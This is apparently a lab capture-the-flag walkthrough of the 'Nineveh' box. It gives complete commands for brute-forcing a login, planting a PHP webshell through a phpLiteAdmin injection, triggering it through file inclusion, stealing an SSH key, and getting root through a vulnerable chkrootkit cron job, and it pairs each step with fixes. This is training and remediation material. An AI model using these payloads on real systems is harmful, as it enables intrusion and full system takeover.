← all walkthroughs

Nineveh

Linux· Medium· Web
owned
2026-07-07
time to own
8m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target server ran two independent web applications on the same Apache host: a phpLiteAdmin v1.9 database console on HTTPS protected only by a default password, and a 'Nineveh Department' portal on HTTP with a guessable keyboard-walk password. Chaining these together, I exploited a known PHP code injection flaw in phpLiteAdmin (EDB-24044) to write a PHP webshell inside a SQLite database file stored at my own filesystem path, then triggered its execution through a local file inclusion vulnerability in the Department portal's 'notes' parameter — gaining a shell as the web server account.

From that foothold I downloaded a publicly served PNG image that contained an SSH private key hidden with steganography, learned the port-knocking sequence needed to reach SSH from the server's configuration file, and logged in as the local user 'amrois'. A root-owned cron job periodically ran a vulnerable copy of chkrootkit (CVE-2014-0476) that unconditionally executes /tmp/update as root if the file exists; placing a malicious script there caused it to run on the next scheduled cycle, producing a SUID root shell and completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service and web content enumeration (T1046, T1083)
Scanned the server and identified two distinct web applications
A port scan of $TARGET found Apache httpd 2.4.18 running on both port 80 (plain HTTP) and port 443 (HTTPS/TLS). Manual browsing confirmed two separate applications: a 'Nineveh Department' management portal on port 80 that auto-redirected to /department/login.php, and a phpLiteAdmin v1.9 database administration console at /db/index.php on port 443.
Exact commands 3
Fingerprint open ports and service versions.
nmap -sV -sC -p 80,443 $TARGET -oN nmap_nineveh.txt
Confirm the Department portal and its redirect.
curl -s http://$TARGET/department/ -L | head -20
Confirm phpLiteAdmin and its version number.
curl -sk https://$TARGET/db/index.php | grep -i version
2EnumerationInformation disclosure via HTML source comment (T1592)
Discovered a valid local account name leaked in an HTML comment
Viewing the source of the Department portal login page revealed a developer comment referencing the local user 'amrois' and confirming MySQL was installed on the server. This gave me a confirmed account name to use later for SSH access, without any authentication.
<!-- @admin!
Exact commands 1
Extract HTML comments from the login page — reveals the 'amrois' username.
curl -s "http://$TARGET/department/login.php" | grep '<!--'
3Credential AccessDefault credential exploitation (T1078.001)
Authenticated to phpLiteAdmin using its unchanged default password
PhpLiteAdmin v1.9 accepted the password '[REDACTED: recovered credential]' with no username required, granting full database administration access immediately. The application's factory-default credential had never been changed. With this access I had the ability to create and manipulate SQLite databases at arbitrary paths on the server.
Exact commands 1
Authenticate to phpLiteAdmin; saves the session cookie to /tmp/pla.cookie.
curl -k -c /tmp/pla.cookie -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data 'password=$PASSWORD2&remember=yes&login=Log+In&proc_login=true' -v 2>&1 | grep -E 'Set-Cookie|Location'
FixReplace the phpLiteAdmin default password with a strong unique credentialCritical
WeaknessphpLiteAdmin was accessible over HTTPS with its factory-default password '[REDACTED: recovered credential]' and no username, giving any visitor full database administration with zero authentication friction.
FixSet a long randomly generated password (20+ characters) in phpLiteAdmin's config.php via the '$password' variable. Restrict the /db/ directory to specific trusted IP addresses using Apache's 'Require ip' directive or a WAF rule. If phpLiteAdmin is not needed in production, remove it entirely from the web root.
4Credential AccessWeak credential / password spraying (T1110.003)
Authenticated to the Department portal with a guessable keyboard-walk password
The Department portal accepted the credentials admin:[REDACTED: recovered credential] redirecting to manage.php. The password is a sequential keyboard-walk pattern and appears in common wordlists. With this session I could reach manage.php, which exposed the file-inclusion parameter used later for code execution.
HTTP/1.1 302 Found ...
Exact commands 2
Brute-force the login form to discover the password; rockyou.txt contains '[REDACTED: recovered credential]'.
hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form '/department/login.php:username=^USER^&password=^PASS^:Invalid Password' -t 20
Authenticate with the discovered credentials; saves the session cookie to /tmp/dept.cookie.
curl -s -c /tmp/dept.cookie -b /tmp/dept.cookie -X POST "http://$TARGET/department/login.php" --data 'username=admin&password=$PASSWORD3' -v 2>&1 | grep Location
FixEnforce strong password policy and rate-limiting on the Department portalHigh
WeaknessThe administrative account on the Department portal used the keyboard-walk password '[REDACTED: recovered credential]', which appears in widely available wordlists and is defeated by a standard brute-force attack in minutes.
FixRequire passwords of at least 16 characters with mixed character classes for all accounts. Implement brute-force protection (account lockout after 5 failures, or CAPTCHA/rate-limiting returning HTTP 429). For management interfaces consider multi-factor authentication as an additional layer.
5ExploitationRemote PHP code injection via phpLiteAdmin EDB-24044 (T1190)
Planted a PHP webshell on disk via the phpLiteAdmin code injection flaw (EDB-24044)
PhpLiteAdmin ≤1.9.3 contains a documented PHP code injection vulnerability: an authenticated user can create a new SQLite database whose filename is an absolute path ending in .php, placing the file anywhere the web server process can write — including /var/tmp. After creating I switched to it and creates a table whose default column value contains PHP code. PhpLiteAdmin writes this value verbatim into the SQLite file on disk. When that file is later included by PHP, the embedded code executes. A database named 'ninevehNotes.txt.php' was created at /var/tmp, then a table 'pwn' with a TEXT column whose default is a PHP system() webshell was added, planting the payload.
Exact commands 3
Create the SQLite database at a PHP-executable filename in phpLiteAdmin's writable directory.
curl -k -sS -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data-urlencode 'new_dbname=ninevehNotes.txt.php' --data 'createdb=Create' -o /tmp/db_create.html
Switch the active database to the newly created file at /var/tmp/ninevehNotes.txt.php.
curl -k -sS -b /tmp/pla.cookie "https://$TARGET/db/index.php?switchdb=%2Fvar%2Ftmp%2FninevehNotes.txt.php" -o /tmp/db_switch.html
Create a table whose default value embeds <?php system($_GET["cmd"]); ?> into the SQLite file on disk.
curl -k -sS -b /tmp/pla.cookie -X POST "https://$TARGET/db/index.php" --data 'table=pwn&field%5B0%5D=x&type%5B0%5D=TEXT&default%5B0%5D=%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E&fieldscount=1&createtable=Go' -o /tmp/db_table.html
FixUpgrade phpLiteAdmin and restrict where it may create database filesCritical
WeaknessphpLiteAdmin ≤1.9.3 (EDB-24044) allowed an authenticated user to create a SQLite database at an arbitrary absolute filesystem path, including PHP-executed directories, and embed runnable PHP code in the file through the table default-value field.
FixUpgrade phpLiteAdmin to the latest patched release. Configure it so databases can only be created within a dedicated, non-web-served directory. Set PHP's open_basedir in php.ini to prevent scripts from accessing paths outside their designated working tree, and ensure /var/tmp is not reachable via any include path.
6ExploitationLocal File Inclusion (LFI) leading to remote code execution (CWE-98 / T1190)
Triggered remote code execution through local file inclusion in the Department portal
The Department portal's manage.php passed the user-supplied 'notes' GET parameter directly to a PHP file-include call with no path validation. Supplying the path of the me-planted SQLite file (/var/tmp/ninevehNotes.txt.php) caused PHP to parse and execute the embedded webshell, yielding arbitrary OS command execution as the 'www-data' web server account. This also allowed reading /etc/knockd.conf to recover the port-knocking sequence required to reach SSH.
Exact commands 3
Verify RCE — expect uid=33(www-data) in the response body.
curl -s -b /tmp/dept.cookie "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php&cmd=id"
Read the port-knocking configuration — reveals the sequence 571,290,911 needed to open SSH.
curl -s -b /tmp/dept.cookie "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php&cmd=cat+/etc/knockd.conf"
Optionally confirm www-data cannot read root.txt directly — escalation required.
curl -s -b /tmp/dept.cookie "http://$TARGET/department/manage.php?notes=/var/tmp/ninevehNotes.txt.php&cmd=cat+/root/root.txt"
FixReplace the arbitrary file-inclusion in manage.php with a strict allowlistCritical
Weaknessmanage.php passed the user-supplied 'notes' GET parameter directly to a PHP file-include (or equivalent) call without sanitization, allowing an unauthorised user with a valid session to include and execute any file reachable by the web server process.
FixDefine an explicit whitelist of permitted note filenames inside manage.php and look them up by a safe key (e.g., an integer index), never passing raw user input to include(), require(), or readfile(). Set 'allow_url_include = Off' in php.ini and apply open_basedir to confine PHP file access to /var/www or a comparable safe subdirectory.
7Lateral MovementSteganographic data concealment / SSH private key theft / port knocking bypass (T1552.004, T1205.001)
Extracted a hidden SSH private key from a public image and used port knocking to reach SSH
The webshell revealed a PNG image served publicly at /secure_notes/nineveh.png on the HTTPS site. Running binwalk on the downloaded file extracted an embedded tar archive containing a directory named 'secret' with an RSA private key (nineveh.priv). Using the port-knock sequence 571→290→911 read from /etc/knockd.conf over the webshell, SSH became reachable. The stolen private key authenticated as 'amrois', granting an interactive shell and the user flag.
Binwalk -e nineveh.png extracted secret/nineveh.priv; knock 571 290 911 opened port 22; ssh -i nineveh.priv amrois@$TARGET succeeded and produced the user flag.
Exact commands 5
Download the steganographic image from the public HTTPS directory.
curl -k -s -o /tmp/nineveh.png "https://$TARGET/secure_notes/nineveh.png"
Extract embedded archives — yields /tmp/nineveh_ex/secret/nineveh.priv.
binwalk -e /tmp/nineveh.png -C /tmp/nineveh_ex/
Set required permissions on the private key before use.
chmod 600 /tmp/nineveh_ex/secret/nineveh.priv
Send the port-knock sequence to open port 22 (sequence read from /etc/knockd.conf via the webshell).
knock $TARGET 571 290 911
Authenticate as amrois and read user.txt — value is <user.txt>.
ssh -i /tmp/nineveh_ex/secret/nineveh.priv amrois@$TARGET 'cat ~/user.txt'
FixRemove the SSH private key embedded in the public image and rotate all affected credentialsHigh
WeaknessAn RSA private key for the 'amrois' account was steganographically embedded in a PNG image served from the HTTPS root. Any visitor could download the image; standard forensic tools (binwalk) extract the key in seconds.
FixDelete the compromised image and immediately revoke and regenerate the 'amrois' SSH key pair. Audit the entire web root for embedded secrets using 'binwalk --signature' and for loose key material using 'grep -r "BEGIN.*PRIVATE" /var/www'. Store private keys exclusively in non-web-accessible directories with permissions 600, owned by the relevant user.
8Privilege EscalationCron-based privilege escalation via chkrootkit CVE-2014-0476 (T1053.003)
Exploited a root cron job running vulnerable chkrootkit to execute a script as root
Inspecting the system as 'amrois' revealed a root-owned cron job periodically running chkrootkit version 0.49. This version is affected by CVE-2014-0476: during its scan it unconditionally executes the file /tmp/update as root if the file exists and is marked executable. My wrote a short shell script to /tmp/update that copied /bin/bash to /tmp/rootbash and set the SUID bit, then waited for the cron job to fire. Once chkrootkit ran as root and executed the script, invoking /tmp/rootbash -p opened a root shell, and the root flag was read.
Exact commands 3
From the amrois SSH session: create the malicious /tmp/update payload that will execute as root.
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > /tmp/update && chmod +x /tmp/update
Poll for the cron to fire (typically within 1-2 minutes) and create the SUID binary.
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'
Use -p to preserve effective UID=0; reads root.txt — value is <root.txt>.
/tmp/rootbash -p -c 'id && cat /root/root.txt'
FixRemove or upgrade vulnerable chkrootkit and mount /tmp noexecCritical
WeaknessA root-owned cron job ran chkrootkit ≤0.49, which unconditionally executes /tmp/update as root if the file is present and executable (CVE-2014-0476). Any local user able to write to /tmp — including the www-data web server account — can plant a payload there and achieve full root access on the next cron cycle.
FixRemove chkrootkit or upgrade to a version that does not contain this behavior. If a rootkit-detection tool is required, evaluate a patched alternative. As defense in depth: add the 'noexec' mount option to /tmp in /etc/fstab ('tmpfs /tmp tmpfs defaults,noexec,nosuid 0 0') so scripts in /tmp cannot be directly executed. Audit all root cron jobs and reduce them to the minimum necessary set.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

80/tcp
443/tcp